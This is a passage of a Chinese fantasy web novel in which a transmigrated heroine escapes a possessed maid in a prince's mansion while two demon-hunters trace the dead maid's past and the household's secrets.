沈如珩点点头,两人站在一起,施着同样步骤的术法,互相配合着对方,再打出一记术法攻击,人脸怪本被打破了头部,行动不便,此时腹部又迎来一记重击,这一击更是将它击倒在地。
人脸一直在叫嚣不停,刺耳冲天,怪物似乎也被两人彻底激怒了,迅速从地上爬起来,和两人对峙着。
它挥舞着拳头首先朝江荨攻去,江荨身法灵活,还未触及她,人就已经飞身离开了。
人脸怪怒喊一声,身上黑色发臭的液体流了一地,它不停地攻来时,有些浓黑的液体洒出沾到江荨的衣裙上,被沾染到液体的地方立即被腐蚀出一个洞来。
江荨面色一变,暗道不好,那人脸怪又朝她攻来了。
沈如珩见她情况不妙,也提着剑上前帮她。
江荨脸色凝重,道:“师兄,速战速决!”
沈如珩:“嗯。”
两
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人又合计找空隙给人脸怪重重一击,人脸怪痛喊一声,被连续几次重击,它已无力抵抗,江荨见状,动作利落地祭出锁妖塔,欲将它锁进塔里。
可就在此时,一阵黑雾突然飘来,耳边随即响起急促的铃铛声,这是每家每户几乎都会挂的识邪铃,若非有极其强劲的邪祟之气,铃铛是不会响得这么刺耳的。
飘来的黑雾还隐约带着一股尸体腐臭的气味,熏得人几欲作呕,江荨忙抬手捂住了口鼻,又在周身运起几道符隔离黑气。
黑雾蔓延过来,遮挡了两人的视线,周围陷入一片短暂的沉寂当中,在看不见时,他们谁都没有动,江荨站在原地,时刻警惕注意着四周的动静,这时,一只苍白的手从她背后的黑雾中伸出猛地推了她一把。
速度之快,让江荨根本来不及防备,待她回头看去时,鬼手又消失在黑雾中了。
不过多时,黑雾就已散失,眼前恢复清明,方才的一切就像是孩童的恶作剧般,来得快去得也快。
江荨四下打量着,找寻那人脸怪的身影,却听沈如珩忽然提醒道:“师妹,在那边。”
江荨顺着他的目光看去,果见那只人脸怪在屋顶间跳动,她看着它远去的路线,秀眉紧紧蹙起,道:“那是……敬王府!”
但那人脸怪已远去,现在再去追已经来不及了。
沈如珩回过神来,扫了眼她身上破了几个洞的衣裙,江荨是从宴会上追出来的,身上橘色的儒裙还未来得及换,原本好看的花纹现在已经被弄破了。
“师妹,先回去换身衣裳吧。”沈如珩嗓音淡淡地提醒她。
江荨这才留意到自己衣服的破洞,说道:“嗯。”
人脸怪拖着残缺不全的肢体跳回敬王府里,刚落到后院,身后猛的一道剑气袭来,直接将毫不设防的它打横切成两断。
身上的人脸还在不断地叫嚣着,受到外界的攻击,叫得更尖锐大声了。
隐在暗处的谢玄淮提着剑从檐下走出来,一双眸子冰冷如终年不化的雪般,冷得让人发寒,他低眸看着地上的残缺,神色露出几分厌恶。
一名随从随即落到他身边,谢玄淮冷声吩咐道:“将这里收拾干净。”
随从披着黑斗篷作一身黑的打扮,面上覆着一张银面具,闻言,沉默着拱手回道:“是。”
——
柳凝雪在玉佩里待了一晚上,现下已是困倦不已,出来之后便躺在床上睡着了,等她醒来时,天色已将近日暮。
窗外天边的火烧云瑰丽绮艳,澄黄色的天空干净明亮,周边安静得出奇,不见一丝一毫的动静,仿佛天地间只剩下她一人。
若不是柳凝雪偶尔看到院子里的玉兰花随风轻晃,她真就以为时间定格在了某一瞬间。
“若婵?”柳凝雪试探着喊了声,回应她的仍是一片寂静。
柳凝雪不免有些起疑,按往常这个时候王府正是准备晚膳的时刻,照理说不该这么安静才对,除非是出什么意外。
5. 撒谎
柳凝雪心底没来由得一阵慌乱与无措,孤寂如一张密不可分的大网将她拖进深渊。
她忙又喊了声,“若婵?谢玄淮?”
可依旧无人回应。
柳凝雪心头忽然升起一股不详预感,她光着脚下床走到门边,打量着外面一成不变的景色。
这时,旁边突然传来若婵的声音,轻飘飘的,似人若鬼,“世子妃,你怎么不穿鞋就下床了?小心着凉。”
柳凝雪脑袋里始终绷着一根弦,在听到声音的那一刻,这根弦啪地一声断开了。
她回头看去,正见若婵端着膳食向她走来,柳凝雪脸色微微发白,说道:“哦,刚才出来的急,忘记穿了。”
若婵道:“奴婢服侍世子妃更衣梳洗。”
柳凝雪点头,同她一齐进了屋子,若婵虽然之前是在佛堂里做洒扫的,可她做起服侍人的活来,并不比一等丫鬟差。
她拿着外袖给柳凝雪拢上,靠得近时,柳凝雪能闻到她身上那股浅淡的香火味。
柳凝雪吸了吸鼻,问她:“若婵,你之前是一直在佛堂里做洒扫的吗?”
若婵回道:“是的,世子妃。”
柳凝雪又问:“是自进府起便一直佛堂里做了吗?没进府前你是做什么的?”
若婵道:“是自进府前便做的了,没进府前的话,一直待在家里做工。”
柳凝雪道:“好,我知道了。”
换好衣服后,若婵对她说:“世子妃,用晚膳吧。”
晚膳准备得还算丰富,在吃穿用度上,谢玄淮倒没有亏待她。
柳凝雪用着晚膳时,若婵就侍立在一旁,她的目光偶尔落在柳凝雪身上,一副欲说还休的模样。
柳凝雪不禁问她:“怎么了?”
若婵面色有些犯难,犹豫着开口道:“世子说他想你了,让奴婢今晚带世子妃去找他。”
柳凝雪握筷的手一顿,若婵说得小心翼翼的,这些天她也看明白了谢玄淮和柳凝雪的关系,他们虽然面上不显,但内里两人相处得都不友好,几乎是不相往来。
所以她在说出那句话的时候,很是郑重考虑了一番,怕柳凝雪拒绝后,谢玄淮会责罚她。
柳凝雪面色平淡至极,并没有因为若婵的话而露出惊讶来,她语气如常,回道:“我知道了,用完膳,我就过去。”
若婵微不可察地松了口气,总算是答应了。
用完膳,柳凝雪又打理了一下才跟着若婵出门。
若婵走在前头,领着她去谢玄淮住的倚竹院,柳凝雪自进府来就窝在自己的院子里哪里也没有去过,原著中又没什么详细地对谢玄淮的住处进行描写。
是以,她并不知道谢玄淮的倚竹院要往哪里走。
柳凝雪略带探究的目光落在前方的若婵身上,不合时宜地开口问道:“我记得若婵你说过自进府以来便一直待在佛堂做事,对府中一切都不了解的吧?”
若婵并没察觉她话里的异样,回道:“是的。”
柳凝雪试探着道:“若婵似乎对倚竹院怎么去很是清楚?”
若婵笑道:“奴婢也是被其它侍女指点才知道倚竹院怎么走的。”
“你撒谎。”
柳凝雪停在了原地,冷冰冰的视线看着若婵僵住的身影,一字一顿地说出那三个字。
她继续道:“谢玄淮并不喜欢倚竹院有女子靠近,倚竹院机关阵法重重,地处隐蔽,府上从未有侍女去过,你是从哪个侍女口中得知的?”
每说出一句话,若婵的背影就僵上半分,真至最后宛如木头人一般动弹不得。
柳凝雪又说道:“这里的香火气比之方才更浓了,我猜这是去往后院佛堂的路线吧?你到底有什么目的?”
两人在曲廊上僵持着,要不是柳凝雪看过原著,恐怕就要被她牵着鼻子走了。
且原著写的第一个案件就是发生在敬王府后院的佛堂里,联想最近上京妖邪横乱,柳凝雪猜若婵肯定是被妖邪控制了来取她性命的。
片刻过后,若婵动作迟缓地转过身来,她的身体一直维持着僵硬的状态,在看到她转过身的那一刻,柳凝雪的脸色唰的一下全白了。
这哪里还是什么若婵?这分明就是个怪物!
平日里脸上皙白的皮肤,此刻正在一片片地往下剥落,呈出一个血洞来,她的脸色也在迅速地发白,像死了十几天的人一样,那一双漆黑的眼珠也充满了血丝暴出来,仿佛下一秒就要掉出眼眶。
“你……”柳凝雪吓得舌头打结,一句话也说不出来,全身的血液好像在这一刻凝固,脊背在不断地往上冒着寒意。
“鬼……鬼啊!!!”柳凝雪尖叫着想要逃离,却发现自己的双腿宛如灌了铅般沉重,没跑出几步就摔倒在地。
若婵翻着白眼一步步朝她走过去,脸上身上的皮还随着她的动作在不停地掉落,她的双眼也渐渐流出了浓血。
她粗哑的声音一声声地喊着,“世子妃……世子妃……”
柳凝雪慌得六神无主,青天白日的,竟然让她撞见了鬼。
她颤抖的双手着急地摸索身上的符纸,眼看着若婵离她越来越近,双手快要掐上她脖子的时候,掉落在旁的玉佩突然迸发出一道绿芒,将若婵打退了几步。
柳凝雪一惊,忙偏头看向地上的玉佩,没想到这玉佩还有另一重功能。
趁着若婵被法阵打退,柳凝雪迅速捡起地上的玉佩,边跑边大喊着,“来人啊!有鬼!救命啊!”
柳凝雪都快喊破嗓子了,都没见一个人来救她,周围仍旧是一片寂静,她很快就感觉到不对劲了。
太安静了,而且这个路线她好像又饶回来了,明明方才她一直在拼命地往前跑,可抬头一看,竟然跑到了若婵的身后!
那边若婵还在原地不动,似乎料定她跑不出去一般,僵硬地转过身来,果然就看到了脸色惨白的柳凝雪。
柳凝雪身体僵直地站在原处,脑海里思绪混乱无法集中,从什么时候开始不对劲的呢?
她现在已经反应过来了,她肯定进入了某个阵法当中,只要找到阵眼并破解,她就可以出去。
对!找阵眼!
柳凝雪恍如从梦中惊醒,若婵变成鬼后迟缓,像陈旧生锈的机械,这倒给了柳凝雪机会。
柳凝雪细细回想了一下整件事情的经过,后院处不断飘来浓
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郁的香火气味熏染着她的。
香?对!就是香!
她从醒来碰到若婵时就闻到了一股香火气,在揭穿若婵前也闻到了一股香火气,现在这股香火气还飘荡在她身边。
肯定是香的问题。
柳凝雪想着,便提起裙摆往香源的方向跑去,终于让她在曲廊尽头的假山后发现了一支被点燃的香。
这柱香已经烧去了半截,被人插.进假山后的泥土里,柳凝雪迅速且坚定地将香一拔,再倒过来插.进泥土里,将香给熄灭了。
周围的香火气逐渐变淡,被香熏久了,猛地戒断,让柳凝雪感觉脑袋在发晕,紧接着眼前的情景一晃,她又站回了曲廊上,正面对着若婵。
目光在看到若婵时,柳凝雪一颗心都被提起来了,倒抽一口凉气,没成功吗?!她找错阵眼了?!
就在若婵要扑上来的时候,一张黄符如剑,势如破竹般从她身后飞来,打在若婵身上,将她定在了原地。
紧随其来的,是江荨着急的呼唤,道:“世子妃,你没事吧?”
柳凝雪真切地看着江荨的眉眼,她这才意识到自己破阵了,登时双腿一软,两眼一翻倒在江荨怀里晕了过去。
江荨眉心蹙紧,在她耳边喊着,“世子妃?世子妃?!”
柳凝雪实在无力回应了,闭紧眼睛睡过去。
——
柳凝雪再次醒着的时候,已经回到自己的房里了,有意识的第一瞬间,她感觉自己的头痛得要炸开一样。
她的床边坐着神色担忧的江荨,江荨今日穿了一身白衣,称得眉眼淡淡,飘然若仙。
柳凝雪艰难开口唤了声,“江……荨?”
江荨愣了一下,很快又恢复如常,道:“世子妃,你醒了?”
江荨扶着她从床上坐起来,一脸关心地问她,“世子妃,你感觉如何?”
柳凝雪如实道:“头痛。”
话落,江荨便端起床头桌上的碗递给她道:“世子妃吸入邪气过多,导致身体被掏空的厉害,所以才会头痛得厉害,这是用符纸烧成的符水,喝了就会好受些。”
江荨语气柔和了几分,不似往常那般冷淡如冰,柳凝雪听得心里一暖,江荨倒和以前没变。
她听话接过江荨手中的碗,扫了眼碗里黄灿灿的水,仰头一饮而尽,符水没有她预想的那般苦,反倒清甜如甘泉。
柳凝雪道:“多谢。”
这时,沈如珩也从屋外走了进来,将一个黄符封上的瓷瓶放到桌上,道:“刚才那个鬼祟已经被封进里面了,世子妃不必担忧。”
他的嗓音温润带着些凉意,如暮春时期晨昏时的朝露清泉,令人感到舒适。
他也没变。
柳凝雪在心中细细地想。
江荨见她神色迷茫,不知在想什么,轻声问她:“世子妃,你能和我们说一下府上的情况吗?”
对女子,她总会多几分耐心,江荨声调尽量平和,手掌轻抚上柳凝雪的肩上,不知为何,她在看到她的第一眼,便觉得很是熟悉,有股说不明的亲切感。
柳凝雪说:“你们想知道什么?我知道的肯定会告诉你们的。”
6. 目的
如此一来,江荨便放心了,在以往捉邪祟时,许多府上的小姐夫人都忸忸怩怩的,碍于府中秘闻,不肯道出其中真话。
江荨微微一笑,问她,道:“近日府中可有什么不对的地方?”
“不对的地方?”柳凝雪蹙眉深思着。
江荨耐心地等着她回答,今日他们来此本为昨晚的人脸怪而来,可到敬王府门外时,守门的老人说什么也不肯放他们进去,偏说他们看错了,还说府中一切安好,并没有他们所说的人脸怪。
沈如珩又耐着性子劝了老人一遍,就在江荨打算硬闯的时候,府中突然升起一股黑雾,见此状,她不顾老人的阻拦,提着剑就闯到后院,之后便看到了柳凝雪和若婵。
真要说府中有什么奇怪的事的话,那是没有的,柳凝雪想了想,道:“香,香算吗?”
江荨脸色一下子变得凝重起来,点头道:“算,世子妃请细说。”
柳凝雪接着道:“方才的鬼是我的侍女若婵,我出事是从她身上闻到一股香灰味开始的,她变成鬼的时候我也闻到了一股香味,那个阵眼也是一柱点燃的香。”
“对了!那柱香!”柳凝雪忽地想起那柱被她留在原地的香,她一个翻身就下了床,赤着脚往屋外跑去。
江荨被她的反应惊到了,沈如珩也微微诧异且迅速地背过身,尽量不去看她。
江荨追着她来到之前的曲廊上,柳凝雪环顾了周围一圈,凭着记忆来到那座假山后,可奇怪的是,那柱香已经不见了。
柳凝雪不免疑惑起来,“我明明记得拔出来放到这里了啊……”
“世子妃?”江荨见她看着面前的空地出了神,不解地喊她。
柳凝雪指着一方空地,转头对江荨道:“我记得这里有一柱香的啊,怎么不见了?”
江荨顺着她手指的地方看去,并没有看到任何东西,她索性蹲下.身去察看,打量了空地几眼,江荨随即取出一张符施咒往地上探去,这符纸虽然试探不出有没有香灰,但真如柳凝雪所说的那般这是阵眼的话,那就一定会留下邪祟的痕迹。
刚下放下符纸的时候,还未见有异样,可两秒过后,符纸立即燃了起来,并瞬间化为灰烬,灵符遇邪自燃,根据邪祟的危险不同,燃烧的速度也不同,一般越危险的邪祟,灵符烧得越快。
江荨的脸色更沉了,如果像灵符这样的燃烧速度的话,那么只可能说明敬王府里藏着一只比人脸怪还要厉害上百倍的怪物。
邪祟是所有散发着邪恶之气的东西的统称,一般是集怨气而成,它们因怨气而生,游荡在人间各处,怨气越浓的地方,邪祟的力量就越强大,法力也更高深,更难对付。
柳凝雪怎么说也是看过原著的人,她当然知道灵符瞬燃意味着什么,敬王府里怨气极重,才培养出这么一只大邪祟,想要除掉它并不容易。
她道行太浅,只能寄希望于江荨和沈如珩身上,两人合力,再加上她稍微改变的剧情,结局是否会不一样?
所幸原著里的第一个案件是为上京邪祟作乱作铺垫,并不难以解开,对此,柳凝雪又多了几分信心。
她心下定了定,对江荨说道:“江姐姐,我们现在首要的是查明一下若婵的身份,她的来历就很是可疑,说不定我们能从里面找出一些线索呢。”
江荨站起身来,道:“你说得对,不过府上出了这么大的事,怎么不见谢世子人?”
被江荨这么一提,柳凝雪才记起谢玄淮这个人,最近他总是莫名玩消失,每次想找他人都找不到。
江荨见她也一脸不知情的样子,不禁多了几分心疼,自己的妻子出了这么大的事,那位世子却连脸也不曾露过,是否过于凉薄了些?
一想到柳凝雪还托着病体为敬王府操劳担忧,心中便更是不忍,对她说道:“世子妃,除邪祟是我们司灵监的任务,无论如何,司灵监也会尽全力帮世子妃除去府上邪祟的。”
柳凝雪对江荨的一番言语很是感动,道:“好,多谢江姐姐。”
——
隐匿在竹林里的房间昏暗,明明屋外太阳热烈,而这间屋子像是隔绝了阳光般,再炽热的光线也照不亮屋里的黑暗。
虚弱的光线落在谢玄淮宛如明玉的脸上,只是他一半的身子隐在暗处,便显得有几分诡谲。
他修长的手指拿着一根燃了一半的香在细细端详,下首光线照到处,半跪着一个通身黑打扮的人。
“她是怎么发现的?”他声音平淡,似有若无。
下属偷觑了眼他的神色,回道:“……她,似乎对世子的倚竹院较旁人更为了解。”
话落,屋里陷入了一片沉寂当中,良久,谢玄淮才开口道:“她是怎么知道的?”
自敬王敬王妃去世后,在府上留下了一大笔财产,上京无数双眼睛都在盯着它,当时两人去世,谢玄淮也不过才是个几岁的幼童,并没有能力应对各种各样,层出不穷的阴谋诡计。
王府也是在这种环境下一步步走向衰落,这同时也说明,王府被蚕食,他随时都会有生命危险,唯独倚竹院,是敬王和敬王妃亲自设法阵,再请高人联合打造的。
这里阵法奇特,旁人难以进入,谢玄淮也从不轻易让人靠近,进过这里的人曲指可数,可柳凝雪并未来过倚竹院,却对倚竹院的了解比旁人还要多上几分。
若不是她能预知,那就是有人透露了信息。
谢玄淮将香放到桌子上,声线带着凉意,对下属说:“去查一下她是怎么知道的,若是知道的太多……无论你什么目的,这府上可容不下你。”
说着,他脑海里不禁浮现出成亲那晚,她清凌凌的眼眸,人到底在经历了什么眼睛才会在瞬间从呆滞无神变得清澈明亮起来。
他第一次见柳凝雪是长公主的生辰宴上,她整个人都是无精打采的,像一条萎蔫的菜,眼神空洞暗沉,从她身上看不到一点活人气息,给人的感觉就像是一只提线木偶。
那时的他断然不会想到她会胆子大到设计自己,她费尽心思想要嫁给他,那他就做个好人,成全她。
可在大婚当晚,银剑抵在她喉上时,她的眼睛突然变得明亮耀人,从上到下满是活人气息,像一个阳光十射的太阳。
变化来得突然,让谢玄淮愣住的不止是那双澄澈的眼睛,一双眼睛的变化怎么会让一个人都跟着变了呢?
谢玄淮垂眸看着桌上的香
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,心里升起一抹浅淡的惋惜,可惜,他已经没有兴趣去探究了。
——
柳凝雪百无聊赖地躺在床上枯想着,江荨和沈如珩已经去查若婵的来历了,原本她想要跟着去的,可江荨不让,无法,她只好待在家里打发时间。
可不做点什么她又不安心,要想攻略谢玄淮,起码要保障他的人身安全,不让他死才行,教他的那些术法,自保是没有问题的,但要想更稳妥些,就要教他其它高深的术法,到时候以一当十都没问题。
这样一来,人身安全保障不就有了吗?届时柳凝雪再安心攻略,完成任务就更好了。
打定了主意,刚想进玉佩里面再学习一下,便有陌生侍女来传,道:“世子请世子妃过去。”
想什么来什么,柳凝雪立即从床上爬起来,回道:“好,我知道了,我现在就过去。”
有了第一次的经验,这次柳凝雪学聪明了,她将玉佩随身带着,又多揣了几张符纸才跟着侍女出门。
侍女依言带着她来到训练场上,谢玄淮正坐在矮桌后,端起茶盏轻抿了一口,眸色深沉幽远,不知在想什么。
侍女行礼,道:“世子,世子妃到了。”
谢玄淮淡淡地嗯了一声,此时柳凝雪就站在他身边,他偏头望了她一眼,说道:“已经有好几天没学习新的术法了,世子妃今日来教一下我如何?”
柳凝雪哪里禁得起谢玄淮这般恭维,忙笑道:“不敢当不敢当,区区雕虫小技罢了,世子天资聪颖,一看就会,哪里需要得上我教啊?”
谢玄淮淡淡扫了她一眼,柳凝雪犹犹豫豫了一阵,还是开口说道:“王府里最近不太安宁,我昨日差点被邪祟杀了,所以我想请司灵监的人来除一下邪祟,你意见如何?”
谢玄淮脸色依旧毫无波澜,情绪意味不明,就像一面沉寂了千年的湖,他道:“世子妃觉得可以便请吧,你也是敬王府的女主人,此等事不必过问我。”
不用问他倒还省去不少麻烦,这样一来也更方便行事。
柳凝雪想着,面上扬起一抹笑意,道:“行。”
谢玄淮侧眸不经意扫过她带笑的容颜,神情微微一愣,心里疑惑道:为什么每次见她都是一副笑意盈盈,满面春风的样子,她为什么每次都是这么开心。
谢玄淮压下心中的郁闷,沉着脸对柳凝雪道:“你来教今日的术法。”
柳凝雪怔怔地看着他,这人怎么这么反复无常,一会儿高兴一会儿又生气的。
柳凝雪忍下心里的不快,从袖中取出黄符,沉默地将昨晚所记给谢玄淮展示一遍。
——
小巷里的石阶上布满青苔,被雨打湿过后,变得淅淅沥沥的,江荨及地的白裙扫过地面时,带走一片青痕。
江荨看着前方一高一低排列着的瓦屋,对跟在身后的沈如珩道:“巷子的最深处便是若婵的家了,这里邪气逐渐加重,须多加小心。”
沈如珩平静地点头,道:“师妹说什么便是什么。”
明明是一句暧昧至极的话,江荨却不为所动,沈如珩亦不觉有何不对,两人保持着不远不近的距离往前走着,一刻钟后,江荨对沈如珩道:“到了。”
7. 不悦
江荨停在一扇陈旧木门前,她抬手敲了一下门,等了一会儿却没有人应,她又敲了几下才终于听到一道苍老的声音响起,“来了来了。”
话音刚落,木门就吱呀一声被人从内推开了,来者是位年逾古稀的老人,江荨恭敬地道了声,“老婆婆你好。”
“老婆婆”满是皱纹的脸扯起一道笑容,说:“你们进来吧。”
她语气平和,让人提不高警惕,江荨跟着她走进了院子里,眼前的景象让她一惊。
院子破败不堪,杂草丛生无人修剪,地上是放着杂七杂八的物品,不知道掺了什么在里面生了霉。
“老婆婆”领着他们进了主屋,屋里潮湿散发着一股浓重的霉味,江荨皱了皱眉,面无表情地踏进屋子里。
“老婆婆”道:“你们要喝茶吗?这里有。”
她似是也知道自己的东西不会受别人欢迎的原因,所以也没有急着给两人倒茶,而是先出声问两人。
江荨礼貌地婉拒了,问她:“老婆婆,我想问一下若婵的事,请问你若婵的祖母吗?”
“老婆婆”苦涩一笑,道:“我是她母亲林氏。”
江荨震愕地看着她,据她所知若婵的母亲年方四十,可她面容憔悴,头发花白,皱纹满脸,实不像一个中年妇女的模样。
林氏深叹了一口气,道:“你们也看到了我屋里的景象,你们想问什么就问吧,我知道的肯定会说。”
江荨点了点头,问她:“若婵三年前为什么离开你去敬王府的?”
他们从街巷邻里得知若婵是她母亲林氏在幼时带进上京的,当年林氏早年丧夫,育有四子,四个孩子都是她亲手抚养成长的。
虽说生活艰苦,但若婵早熟懂事,帮称着家里,母子五人过得还算好,可好景不长,在上京过了五年后,若婵的弟弟妹妹接连去世,林氏不堪重击,一夜老了十几岁。
若婵自幼便就孝顺,家里出了这么大的事情,母亲又成了这样,按理说是不会跑到离家更远的敬王府去当差才对。
林氏一听,脸色便变得不解起来,道:“若婵去了敬王府吗?可是她三年前便已嫁为人妇了啊?你们到底在说什么?她怎么去敬王府当差了?”
江荨和沈如珩神色具是一变,可他们在王府里听到的是,若婵正值二八年华,并未嫁人。
江荨脸色变得凝重,问道:“若婵是什么时候嫁给他人的?嫁的又是谁?”
林氏虽不知发生了什么,但看情况也知道有些不对劲,她也不敢隐瞒,忙说了出来,“十五岁的时候就嫁出去了,嫁到城外的黄家村里了。”
黄家村?
江荨细细回想了一下这个村名,她记得上京最初发现邪祟作乱就是在黄家村。
司灵监里的卷宗上清清楚楚地记载着这件事,是不可能会出错的。
也就是说,邪祟在三年前就在黄家村出现了,但为什么当地的人却隐而不报?
按照这个时间来算,也不知道有多少邪祟混入上京中。
江荨皱着眉,问林氏道:“若婵嫁出去之后可回过家门?”
说起这件事,林氏又是一脸悲痛,混浊的双眼流出两行清泪来,说:“有过一次……嫁过去不到一年,她深夜跑回来跟我说,夫婿打她,打得狠,身上都是青痕,她也给我看了。”
“可嫁出去的女儿泼出去的水,我就将她劝了回去,她当时看我的眼神是何等的失望,要是我当时肯听她的话,带她回家,她也不会在回夫家的几个月后就暴毙而亡。”
“他们都说若婵是病死的,但我知道,若婵肯定是被她夫婿打死的!”
林氏说完便泣不成声,屋里回荡着她懊悔的哭声,苦咽的泪水从她眼眶流出直至干涸。
林氏哭得麻木了,空洞的双眼直往着门外,江荨见她这般也问不出什么,默默在一旁拱手行礼道别。
——
柳凝雪还在训练场上教着谢玄淮术法,这次的术法复杂得很,饶是谢玄淮也练了两遍。
趁着谢玄淮钻研术法的时候,柳凝雪就躲到一旁摸鱼,摸到一半,收在袖里的传信符忽然传出异动。
临走前,她就交代江荨要是找到了若婵的相关信息就给她烧传信符。
柳凝雪忙将传信符取出,在上面施了一通术法,几道金色句子便从符里飘出来升至她眼前。
上面写的正是和若婵有关的信息,在看到若婵三年前就死的时候,她脊背猛地窜起一道寒意。
若婵三年前就死了?
那这十几天陪着她的,都是鬼吗?!
越想越觉得细思极恐,王府到底危险成什么样了,很有可能随便抓出一个人来都是鬼。
柳凝雪一想到这,就觉遍体发寒,她目光扫过在场的每一个人,怎么看都像是鬼,谢玄淮除外。
柳凝雪艰难地咽了口口水,起了一身的鸡皮疙瘩,她迅速奔到谢玄淮身边,假装很关心他学得怎么样的样子。
“练得如何了?你在做什么?”她问。
谢玄淮有些莫名其妙地扫了她一眼,这人又想搞什么,平时也不见她对自己的学术这么上心。
谢玄淮道:“复盘你是怎么一步步教错,然后我自己又是如何一步步纠正的。”
柳凝雪:“……”
面子丢大发了,内心正尴尬着,旋即又想到他已经厉害到能自己摸索出术法步骤了,又露出一个满意的笑容来。
谢玄淮很是不解地看着她,她是傻子吗?在笑什么?
柳凝雪完全不知道自己在谢玄淮心目中的形象变成了何样,她轻咳了几声,道:“你……会用就好……别的都是小问题……”
柳凝雪越说越心虚,谢玄淮知道她学术不精,也实在好奇她到底从哪里看来的这么多高深的术法,且他总觉得自己对这些术法有一种奇异的熟悉感,就好像他很早之前便熟练于心。
谢玄淮凝眸打量了她一眼,视线落在她腰间的玉佩上,问道:“世子妃平日里似乎从未佩戴
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过玉佩,今日怎么有兴趣戴了?”
“玉佩?”柳凝雪的目光随着他的视线下移,“哦,你说这个啊,这是我一开始就带来的了,只不过一直没戴出来。”
谢玄淮盯着玉佩看了一会儿,道:“这玉佩……瞧着有些眼熟。”
柳凝雪一愣,抬眸去看他,原本明亮的眼睛更添了几分光彩,说:“你是不是想起了什么?这玉佩很眼熟,对吧?”
她目光殷切,迫不及待地想要证实什么,谢玄淮静了片刻,明明他对玉佩就是有一股熟悉,可话到嘴边却成了,“不熟悉。”
柳凝雪听到回答难免失落,“好吧。”
不知为何,谢玄淮听到她这个回答心里却不是滋味,就好像有一团棉花堵在了他心口,让他备感难受。
江荨和沈如珩很快就城南回来了,他们先行去敬王府,这次的守门老人见到两人也不敢多拦,知道他们是司灵监的人,还是世子妃专门请来,忙客气地打开府门让他们进去。
“江姐姐!”
刚进门就听到柳凝雪的喊声,江荨转头看去,便见一身明黄的谢玄淮旁边的柳凝雪。
谢玄淮很少见柳凝雪这么欢快的喊声,他面无表情地看向江荨和沈如珩,说道:“你认识他们?”
柳凝雪疑惑地回道:“昨日我在府上遇险就是江姐姐和沈公子救的我,我自然是认识他们的,且他们也是我跟你说的请来府上除邪的司灵监,有什么不对吗?”
谢玄淮面色很淡,“没有。”
柳凝雪便不再理会他,走到江荨身边问若婵的事情,“江姐姐,若婵在三年前就死了,你说的是真的吗?”
江荨收回打量谢玄淮的目光,低头对柳凝雪说:“是真的,若婵三年前便已嫁人,嫁到了黄家村,没过多久就身亡了。”
听到这里,柳凝雪又是惊起一身冷汗,一想自己和一个鬼待了这么久,她就感到一阵恶寒。
“世子不知此事吗?”江荨声音增大了几分,一双眼睛直直看着谢玄淮,她是故意说给他听的。
昨日自己的妻子遇险,没出来过一次就算了,今日还是一副冷淡的样子,当真凉薄至极。
谢玄淮也不避讳地回视她,淡声笑道:“依江娘子所言,我该知道些什么吗?”
江荨出声质问道:“昨日世子妃遇险一事,敢问世子去哪了?还有若婵是邪祟一事,你可曾知晓?府中侍女这么多,为什么偏偏选若婵这个洒扫丫鬟去伺候世子妃?”
方才还在抱臂观看的谢玄淮,这时往前走了几步,抬手掀起曲廊上垂下的翠绿风帘,向他们走近。
他笑道:“昨日我并未在府中,回时听到世子妃遇险,我自己也心疼不已,至于若婵一事,江娘子说笑了,这府上的事情哪能由我作主呢?”
江荨一时语塞,敬王府的遭遇,在上京城中并不是什么秘密,可纵使如此,也丝毫不影响她看到谢玄淮便不喜的感觉。
直觉吿诉她,此人远非表面上这么简单。
8. 生气
气氛剑拔驽张,柳凝雪忙打圆场道:“等一下等一下,现在最主要的任务是将若婵的案件给破了,不是起内乱的时候。”
被柳凝雪这么一说,江荨和谢玄淮也不再多说什么,一行人跟着走进了堂屋。
四人围着在圆桌前坐下,柳凝雪眼快地坐到江荨和谢玄淮中间,生怕两人一个意见不合就打起来,照两个人的实力,到时候不得把整个王府给掀了?
察觉她的动作,谢玄淮扫了她一眼,便在她身边坐下了。
柳凝雪看向江荨,问道:“江姐姐,你说若婵之前就嫁到黄家村里去了?”
江荨点了点头,道:“是的,而且很早就死了。”
柳凝雪道:“那江姐姐知道她是什么时候死的吗?”
江荨道:“听别人说是四月一死的,第二日才传信回到家中。”
听完,柳凝雪又看向谢玄淮,谢玄淮知道她要问什么,还没等她开口,他就已经回答了,“四月四进的府。”
怎么说也是身为敬王府未来的主子,对府中什么时候招进侍女这件事还是了解的。
柳凝雪道:“两个日期相隔三天……”
她想了想,忽然觉得有些不对,“相隔三天?不是吧,头七都没过……”
江荨眉头微微皱起,道:“进府的日子是不会错的,所以有可能是黄家的人撒慌,其实若婵很早就死了。”
柳凝雪叹了声气,不解道:“可是她为什么要杀我啊?”
江荨道:“有没有可能不是她想杀你,而是在背后操控她的人想要你死。”
江荨说着,目光看似不经意落到谢玄淮身上扫了下,谢玄淮握到杯子的手一顿,黢黑的眸子沉沉地望着杯中的茶,冷声问道:“江小姐说的是何话?”
空气中暗流涌动,柳凝雪忙插话打断两人,道:“若婵是王府的管家让人从外招进来的,这位管家就很可疑,找到他说不定很多问题都能迎刃而解。”
江荨脸色赞同,道:“世子妃说得对。”
这时,一直沉默的谢玄淮却道:“那真是不巧了,你们要找的林管家在我成婚完的那天便已离开上京,至今未归。”
“啊?”柳凝雪微感诧异,道:“还没回来?既如此,那我们先去佛堂看一看吧,若婵之前便是在佛堂做洒扫的。”
几人都无异议,便起身前往佛堂,柳凝雪走在江荨身边,她回想了一下自穿进书中以来,自己得罪过什么人,可想来想去,脑袋都是一片空白。
待过了一会儿,江荨的脚步忽地停下来,柳凝雪疑惑地抬头看去,便见江荨神情凝重地盯着眼前的佛堂。
“江姐姐你怎么……”柳凝雪顺着她的目光看去,一时哑言,整个佛堂阴沉沉的,顶上仿佛笼着一层黑雾,雾中不断有邪气飘起。
但奇怪的是,那些邪祟之气像是被困在一方,愤怒地冲撞着封禁它们的囚笼,却始终徒劳无功。
“这……”柳凝雪脸色震愕,身体下意识地往江荨身边靠了靠。
江荨皱眉道:“这敬王府的佛堂不对劲。”
自佛堂是王妃生前信佛所建,自敬王敬王妃身亡后,王府变得冷清,后院也极少人来过了,就连谢玄淮也鲜少来。
看到屋顶上的黑雾,谢玄淮并没有过多惊讶,他面色如常,伸手将佛堂的门推开。
吱呀——
木门大开,正对着门的是一尊被雕刻近乎完美的大佛,它慈悲的容颜微微笑着看着来人,柳凝雪被它看得浑身不适,紧紧抓住江荨的衣袖。
她不安地咽了下口水,问:“江姐姐,这里为什么会有这么重的邪气?”
江荨也是一脸的不解,她握紧了手中的剑,今日来敬王府的时候,她担心还会出现昨日的情况,出门时就多带了把剑。
